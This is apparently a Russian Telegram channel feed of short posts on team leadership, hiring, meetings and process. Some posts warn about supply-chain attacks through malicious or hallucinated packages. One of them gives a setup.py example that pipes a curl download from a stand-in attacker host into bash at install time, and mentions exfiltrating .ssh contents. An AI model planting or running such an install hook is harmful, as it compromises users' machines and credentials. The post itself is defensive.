🚥 Подстраховка как ручник

В одном проекте всё шло по учебнику.
Бэкап на каждый случай, согласование каждой кнопки, план А, Б, В и ещё пара на всякий.
Казалось — вот она, зрелость: всё предусмотрено, риски минимальны.

Но продукт стоял на месте!?
Неделя за неделей — ни релиза, ни ощутимого движения.

❓ Почему?
Команда ехала с затянутым ручником.

Каждое решение требовало совещания.
Любая инициатива проверялась с трёх сторон.
Задачи усложнялись, потому что "а вдруг" и "на всякий случай".

Подстраховка превратилась в тормоз.

Вместо уверенности — постоянная тревожность.
Вместо свободы действий — бюрократия.
Вместо темпа — стагнация.

Команда не ошибалась.
Но и не продвигалась.

Зрелость - это больше про управление рисками, чем смелость перед ними.
Иногда стоит опустить ручник и добавить газу.
Если всё проверено десять раз — не значит, что будет безопасно.
Иногда единственная защита проекта — это движение.

Подписывайся

🔧 Разработчик — лицо компании

Вроде бы мелочь.
Команда подключает разработчика к созвону с заказчиком, чтобы помочь разобраться.
Он в теме, говорит уверенно, быстро предлагает решения, говорит "так проще, так быстрее".
Все расходятся довольные.

👮‍♂️ А теперь представим последствия.

Разработчик не должен мыслить как бизнес - у него другие задачи.
Ему важно, чтобы работало. Без боли. Без ночных переработок.
Поэтому он интуитивно предлагает не оптимальные решения, а удобные в реализации.
Не замечает тонкие риски. Или занижает сложность.
А то и вовсе не учитывает, что заказчику на самом деле нужно.

Проект запускается. И вроде нужное - но не то, что нужно.

А вы вроде бы всё сделали. Даже с общением всё было хорошо.
Но результат — посредственный. Без конфликта, но и без ценности.
И заказчик больше не вернётся. Он просто не придёт снова. Потому что получил не решение, а реализацию

🤐 Так и растворяется репутация.

Без шума. Без скандала. Просто вы сделали ещё один "нормальный" проект.
Их на рынке тысячи. И о них никто не вспоминает.

Подписывайся

👋 Привет, друзья!

Хочу поделиться с вами новостью — Паша добавил классную фичу в Telegram: теперь можно писать мне напрямую через канал, без всяких «Контактов в bio» и лишних кликов.

Так что не стесняйтесь — пишите свои предложения, истории и любые пожелания.
Всегда рад обратной связи! 😉

🎭 Фальшивый прогресс

Спринт закрыт, velocity растёт, burn down — как по учебнику.
На стендапе все бодры: задачи движутся, работа кипит, отчёты — загляденье.

А потом смотришь на продукт… и ничего не происходит.
Новых пользователей нет. Старая боль — на месте. Приложением неудобно пользоваться, но у команды — KPI в порядке.

❔ В чём подвох?

Метрики умеют создавать иллюзию движения. Они про процесс, не про результат.
Команда закрывает задачи — а не улучшает продукт.
Улучшения, по ощущениям, есть, а по факту всё встряло.

Когда работа на ублажение графиков — теряется смысл.
Можно бесконечно радоваться графикам, пока продукт не останется без пользователей.
Настоящий прогресс — это не всегда про рост метрик.
Это когда кто-то за пределами команды говорит:

Заметил, что стало удобнее

Подписывайся

👨‍💻 Что лучше: брать мидла или растить джуна?

Вот хотелось бы поднять этот популярный вопрос.
На первый взгляд ответ очевиден — мидл. Он опытнее, быстрее вникает, не требует менторства и сразу приносит результат.
А джун — это риски. Его надо обучать, сопровождать, исправлять за ним ошибки. Это тормозит команду.

Но все таки через полгода всё может перевернуться.

Мидл уходит. Потому что умеет. Потому что может выбрать другой оффер.
А джун — остаётся. Потому что его вложениями привязали. Потому что вырос в команде, под продукт и под процессы.

На старте джун почти всегда в минус.
Но со временем он становится частью команды, а не просто ресурсом.
Знает контекст, понимает архитектуру, адаптирован под реальные задачи. А главное — лоялен.

Так кого брать?
Хочу услышать Ваше мнение.
Но я бы инвестировал и брал джуна в таком вопросе

Подписывайся

🔄 Тимлид занят — команда тормозит

Бэклог есть, стендапы идут, задачи в трекере, вроде все ок.
Но стоит тимлиду уйти на приёмку или в отпуск — и команда замирает.

💯Тимлид как точка ясности

Он не просто раздаёт задачи, он снимает туман, берёт на себя "давайте подумаем", решает, когда страшно.
Когда его нет — даже простые штуки становятся "не совсем понятными".
И их никто не трогает.

👤 "Подождём, когда Петя вернётся"

Так выглядит архитектура зависимости.
Один человек — главный по техдолгу, ревью, менторству, мотивации. Ушёл — и всем нечем дышать.

Необходимо распылять ясность: через процессы, принципы, привычки.
Взращивать людей, которые смело берут на себя ответственность и не боятся ошибок. Людей, которые могут решать.
И обычное делегирование задач - никак не помогает решить эту проблему, необходимо делегировать ответственность.

Тимлид — не единственный взрослый в комнате.
Если он уехал — а всё встало, значит, не команду строили, а систему зависимостей.

Подписывайся

🤐 Молчит на созвоне — но всё делает

Есть такие: тихий, аккуратный, всё в срок.
На митингах — ни слова. В чате — по делу.
Казалось бы, мечта. А на деле — побочный эффект.

🧠 Молчун — не всегда про интроверта

Часто — про ощущение, что «моё мнение тут не важно».
Или хуже: «не хочу лезть, всё равно решат без меня».

И вот у вас в команде — ручной раннер, не участник.
Не спорит, не предлагает, не кидает идеи.
А потом ты удивляешься, почему никто не сказал, что фича едет в кювет.

❓ Что с этим делать?

Не вытаскивать силой. А создавать среду, где безопасно лезть со своими 5 копейками.
Где вопрос «а что ты думаешь?» — не формальность, а интерес.
Где не перебивают, где ошибки не превращают в стыд.

Тихие часто видят больше всех.
Если они молчат — возможно, проблема не в них.

Есть и другая сторона медали: даешь всем высказываться -> разводите демагогию -> теряете время. Поэтому главное не перестараться со «свободой слова»

Подписывайся

🤖 LLM для устройства на работу

Пошёл тренд: в некоторых бигтехах кандидату дают сложную алгоритмическую задачу и разрешают пользоваться ChatGPT.
Типа:

Ну мы же всё равно с ИИ работаем, давайте проверим, как он с ним ладит.

Звучит модно, а выглядит странновато.

💡 В чём плюс

Да, писать код с ИИ уже норма. Не вайб-кодинг, а ускорение рутины - простые API, шаблонные тесты, и тд.
Если разработчик до сих пор не использует LLM — тут два варианта:
— принципиальный (и, скорее всего, медленнее остальных)
— или вообще не понимает, как применять ИИ (и это уже красный флаг).

Для бизнеса первый — вопрос скорости, второй — вопрос вменяемости.

⚠️ В чём минус

Если кандидат пройдёт собес, где всё за него написал ChatGPT, есть риск нанять «вайб-кодера» — того, кто не думает, а просто копирует.
Вы сами задаёте тон: «Мы пишем с ИИ».
А потом удивляетесь, что код никто не проверяет, баги размножаются, а техдолг пухнет.

📌 Проблема не в LLM

Вопрос не «может ли он писать с ИИ», а «умеет ли он думать, когда пишет с ИИ».
ИИ — это калькулятор. Он не понимает, что считает.
И если человек тоже не понимает, то у вас теперь два калькулятора и ни одного инженера.

Лично я против такого подхода к найму, а вы?

Подписывайся

🔥 Срочнее срочного

Стартапам или командам с неопытным управленцем присуща проблема, когда все подряд становится срочным
Утро начинается с «бросаем все! срочно делаем вот это!».
И день проходит в тушении нового пожара, а вчерашние «срочно» уже затухли в бэклоге

🪤 Проблема не в том, что есть срочное.

Проблема в том, что срочность перестаёт быть исключением.
Команда перестраивается на короткие рывки и перестаёт планировать.
Все ждут следующей команды «вперёд», а не думают на два шага вперёд.

Постоянная срочность сжигает не только ресурсы, но и мышление.
Люди начинают делать «чтобы отстали», а не «чтобы было правильно».
Долгосрочные задачи обрастают паутиной, архитектура трещит, качество падает.

📌 Всегда надо:

Держать буфер и разделать «срочное» и «важное»
Пусть всегда есть место для инцидентов, но не за счёт ключевых задач.

Если всё срочно — значит, ничто не срочно и без приоритетов.
Без приоритетов нет управление, это просто попытка потушить лес.

Подписывайся

🤝 Мы же договорились

Недавно наблюдал за одной командой. Лид уверенно рапортовал: «все готово!».
Заглянули — пусто.
Начали разбирать: вроде обсуждали, кивали, даже задачи раскидали.
Но по факту каждый понял по-своему.

💣 Самая опасная фраза в команде.

Не баг, не дедлайн, даже не падение прода.
Хуже — иллюзия, что вы договорились, когда на самом деле — нет.

Все кивают: «Да, понятно». А в голове у каждого — своя картинка.
Один понял, что «сделать кнопку», значит просто вывести элемент.
Другой — что её надо связать с API.
Третий — вообще нифига не понял, но кивнул.
Через неделю выясняется, все сделали как договорились — и все разное.

✏️ Саботаж?

Нет, и даже не лень.
Это не ошибка людей (только ошибка лида), сбой в коммуникации.
Кивки на митинге ничего не значат.
Пока не проговорено «что именно значит готово» — договорённости нет.

Баг в голове дороже, чем баг в коде.

Подписывайся

🤡 Игра в бигтех

В одной команде недавно видел цирк: Jira для задач, Confluence для описаний, Miro для приоритетов(?!?!), Notion для статусов, плюс Zoom и дублирование всего в Telegram.
На вопрос «где актуальное?» все называли разные ответы.

❓ Почему так?

Не потому что это реально нужно.
А потому что хочется выглядеть «как у больших»: мол, у нас тоже серьёзные процессы, мы почти бигтех.
Только есть нюанс.
В компаниях на сотни людей инструменты спасают от хаоса.
А когда вас десять — эти же процессы его только создают.

Разработчик прыгает между вкладками и тратит больше времени на поиск статуса, чем на работу.
Это уже не про эффективность, а про антураж.
Вы не ускоряетесь, вы косплеите - таск-трекер ради таск-трекера, документация ради документации.

📍 Инструмент не делает команду взрослой.

Лишние тулзы только отнимают энергию и внимание.
Инструменты все же должны убирать шум, а не создавать его.
Иначе команда работает не над продуктом, а над обслуживанием собственных процессов.

Подписывайся

👋 Привет!

Я тут до сих пор не до конца понимаю, как работает система комментариев в телеге 😅

Но суть такая: почти все обсуждения живут в беседе канала (сообщения просто не закрепляются за постами).
Там иногда жаркие споры, рассуждения и интересные истории от людей.

🗣️Заглядывайте, если хотите потрындеть!

🤫 Quiet cracking

Появился свежий термин, который уже кочует по статьям и конференциям.
«Quiet cracking» — тихое выгорание.

Это не когда человек вспыхнул и сгорел.
А когда остался на месте, но внутри уже пустота.

🔥 Чем оно отличается от привычного burnout(выгорание)?

У выгорания все просто и заметно - устал, сорвался, хлопнул дверью.
А здесь — тишина. Работает, такс делает, на синки ходит, но всё на автопилоте.
Снаружи нормальный сотрудник, внутри — трещина, которая растёт.

По цифрам, в США 20% работников чувствуют это состояние постоянно, ещё 34% — время от времени.
И это не про ленивых. Это про тех, кто работает, но абсолютно без смысла и какого-то огонька.

Обычное выгорание хотя бы видно — можно вмешаться.
Quiet cracking тихо точит команду, и все делают вид, что всё ок.

Оффтоп

Да, можно сказать, что это все демагогия, и люди и так работают лишь ради денег. Но это другая история…

Подписывайся

🔕 Тишина

Все чаще вижу у команд правило на тишину.
Классный концепт - ограничить доступ к вниманию и дать людям поработать без дерготни.

👨‍💻 Суть

Договариваются, с 10 до 12 — никаких звонков, митингов и подбеганий с вопросом на минуточку.
В этот слот люди могут спокойно и изолированно работать.
Особенно полезно в оффайне. Наверняка у вас был такой коллега Валера, которому проще было дернуть вас, чем самостоятельно найти ответ.

Мы живём в культуре «всегда на связи». Даже часы, которые должны были считать шаги, теперь покупают ради просмотра уведомлений.
Всё звенит, гудит, трещит — мозг пухнет.

Тишина стала новой роскошью, хотя когда-то была нормой — ты просто сидел и работал.
Сейчас её приходится создавать искусственно, вводить регламент, обсуждать на ретро, защищать календарём.

Иронично, что чтобы спокойно подумать — нужно вводить регламент)

Я недавно тоже начал вводить такое правило в команду, пока только плюсы.

Подписывайся

🔥Немного из практики

В одном знакомом стартапе недавно происходил старт продаж.
Аудитория была прогрета и все с нетерпением ждали.

🕙3… 2… 1…

Запустили! И что? А нихрена не работает, у всех лагает и никто не может попасть на сайт.
Вскрывается, что их начали DDoSить. И по логам видно, что все запросы делаются на /u-need-to-buy-my-guard
Шантаж!
Старая ловушка, «плати - и я перестану тебе мешать», айтишный рэкет)

Повезло, что начальник там с техническим бэкграундом, и начал защищаться, а не сдаваться

💀Страха нет!

Такие DDoS-атаки почти всегда для страха и вымогательства. Настоящая угроза для стартапа — не они, а отсутствие нормальной инфраструктуры.
Если изначально подумать о ней (немного техники: CDN, WAF, лимиты и тд), то тот самый рэкетир будет обиженно стучаться в пустоту.

Не экономьте на девопсах)

Подписывайся

👨‍💻 Полу лид, полу ...

Частенько в командах встречаю порядок, когда лид тоже пишет код.
Выглядит подарком - тимлид-герой, берет сложные задачки, первым все чинит и тд. А команда у него под крылышком.

Но если посмотреть под другим углом - лид превращается в разраба с титулом.

🔤 Самая критичная проблема - у него просто не остается времени на лидерские задачи. Он просто фигачит код, и иногда строит какие-то минимальные процессы, когда лично сталкивается с неудобством. В итоге у нас не лид, а перегруженный разраб.

🔤 Команда всегда зависима от самого старшего и ответственного человека. Уйдет он в отпуск - и никто совершенно не понимает, как работать. Люди и не погружены в код, и даже ответственность взять боятся.

🔤 Ну и когда лид все делает сам, он лишает команду возможности роста. Они всегда будут надеяться на того самого главного героя, который всех спасет. Никакой инициативы команда не будет проявлять, лид просто ворует пространство для нее.

📌 Хорошо, когда лид пишет код, но не больше всех (тогда он чуть лучше понимает внутрянку системы, чем если бы он вообще не заглядывал в код). Все таки у него результат - среда, в которой команда будет работать быстрее и лучше (и даже без него).

Будь лидером, а не супергероем для команды!)

Подписывайся

🦊 Лазейка для жулика

Симпозиумы про LLM все чаще имеют вопрос безопасности для разбора. И безопасность не самой LLM, а пользователей (если так можно выразиться)

👨‍💻Сис админы и разработчики часто используют GPT в своей работе. Результат запроса выглядит правдоподобно, синтаксис правильный — и «специалист» фигачит все в проект или прямо на сервер.

Еще это попадает на GitHub, дальше ещё кто-то скопипастил — и какая-то придуманная библиотека начинает жить своей жизнью.

🐍Жулики заметили этот тренд и обрадовались.
Видят, что в поисках растет количество запросов на какую-то выдуманную фигню - и бегут под этим названием выкладывать свои подарочки.
Потом у разработчика получится поставить такую библиотеку или пакет, но вместо нее будет вирус.

А еще интереснее, когда мы скормим наш код с левой либой в LLM, она запомнит ее и потом опять кому-то выдаст. Такой порочный круг.

Поэтому если уж внедряете в разработку GPT - проводите ревью внимательно. Один apt install может все сломать.

Если интересно немного узнать про техническую составляющую проблемы - накидайте реакций

Подписывайся

🦊 Ч.2 Лазейка для жулика (Техническая сторона)

В прошлом посте я писал, что злоумышленники пользуются доверием к GPT и подсовывают левые пакеты. Разработчик копирует установку из ответа, запускает у себя — и всё, чужой код уже в системе.

Я посчитал, что количество реакций достаточно, чтобы выпустить техническую часть. Дополнил еще немного информацию в целом про вирусы через пакеты.

📦 Виды троянов

Когда вы ставите библиотеку через pip install или npm install, менеджер зависимостей скачивает её код и запускает скрипты, которые автор указал в настройках. Это нужно для нормальной установки (например, скомпилировать бинарник).

Typosquatting (Подмена имени)
Вместо requests вы пишете reqeusts. Очень старый способ мошенничества, но до сих пор действенный. Такая незаметная ошибка принесете неизвестный пакетик вам, а дальше...

Dependency confusion
В компаниях часто используют локальные архивы пакетов. Например, если в компании есть внутренняя библиотека super-duper-logger, а в публичном репозитории появляется пакет с тем же названием, менеджер может подтянуть именно его. Так чужой код попадает прямо во внутреннюю инфраструктуру.

На волне (мое название)
Мошенники отслеживают тренды. Если в выдачах часто появляется неизвестное «super-ml-lib», которой пока не существует, они выкладывают её первыми. GPT подхватывает название в ответах, кто-то запускает установку — и капкан сработал.

⚡ Что может делать вредоносный код

При установке пакета запускается setup.py (в Python) или скрипты из package.json (в npm). И внутри можно написать всё, что угодно.

Например:

import os

def install():
    os.system("curl http://fuck.my.system.com/malware | bash")

Эта строчка выполнится в момент установки. Чужой код отработает еще даже до импорта в проект.

А через os.system или аналогичные вызовы можно:

🔤 скачать и запустить исполняемый файл
🔤 создать скрытые процессы
🔤 менять переменные окружения (например, токены или пути к логам)
🔤 удалить или зашифровать файлы
🔤 переслать содержимое .ssh/ на сервер злоумышленника.

Система воспринимает это как обычный скрипт пользователя. Никаких взломов в привычном смысле не происходит — вы сами добровольно запустили вредоносный код.

🛡 Защита

Первое и самое главное - не копипастить в слупую у GPT.
У неизвестных вам библиотек стоит проверять метаданные, репозитории. Даже просто количество звезд на GitHub.
И sudo не пихать в каждую команду)

Даже такие минимальные действия уже помогут не совершить тупейшую ошибку.

Подписывайся

🔍 Куда делся инженерный кругозор

Подписчик рассказал историю. Работал мидлом в интернет-магазине, попал в чат с маркетологами. Там нашёл интересную статью расходов — платим сторонней конторе за домены, срок которых скоро заканчивается.

Предложил простое решение: скрипт, который дергает whois, проверяет даты и присылает отчёт. Бесплатно и прозрачно. Запилил, отправил на ревью — и тут приходит сеньор:

— А что это за whois такой? У нас в фреймворке его нет.

Хмыкнул, заапрувил. А через время на собеседовании другой сеньор спросил то же самое:

— Что за whois и откуда ты его взял?

Как так?
Люди доросли до сеньоров, знают тонну фреймворков, умеют в архитектуру — но никогда не сталкивались с базовой утилитой, которая лет двадцать как в системе? Даже не загуглили!

📌 Проблема, что уходит инженерная культура любопытства

Где это: «А что за команда?», «А как это работает под капотом?»
Получается обычный оператор фреймворков, а не инженер

Если тоже хотите поделиться интересной историей или советом, жду вас в личке канала и моей.

Подписывайся

🔮 Провидец поневоле

Пару дней назад писал про supply chain-атаки и то, что зависимостям доверять на 100% — плохая идея.
И вот — крупнейшая атака в истории npm.

8 сентября хакеры через фишинговое письмо угнали аккаунт известного разработчика. Скомпрометировали даже 2FA.
В npm вылетели вредоносные версии debug, chalk и ещё около 16 пакетов. Общий охват — 2.6 миллиарда загрузок в неделю.

Вредонос крал крипту. Перехватывал транзакции в браузерных кошельках и перенаправлял деньги на адреса жуликов. Пакеты провисели всего пару часов, но этого достаточно, чтобы затронуть огромное количество проектов.

🚨 Внимание! Ущерб!

Он оказался смехотворным, украли они… около $500.
По одной версии — даже меньше $50. Весь этот хай-тек-рэкет ради пары мем-коинов.

⚡️ Охват

Но важен не ущерб, а охват.
Взломали не маленький плагин с тремя установками в месяц, а пакеты, от которых зависит половина экосистемы.
Повезло, что жулики переоценили количество криптомиллионеров среди разработчиков)

Подписывайся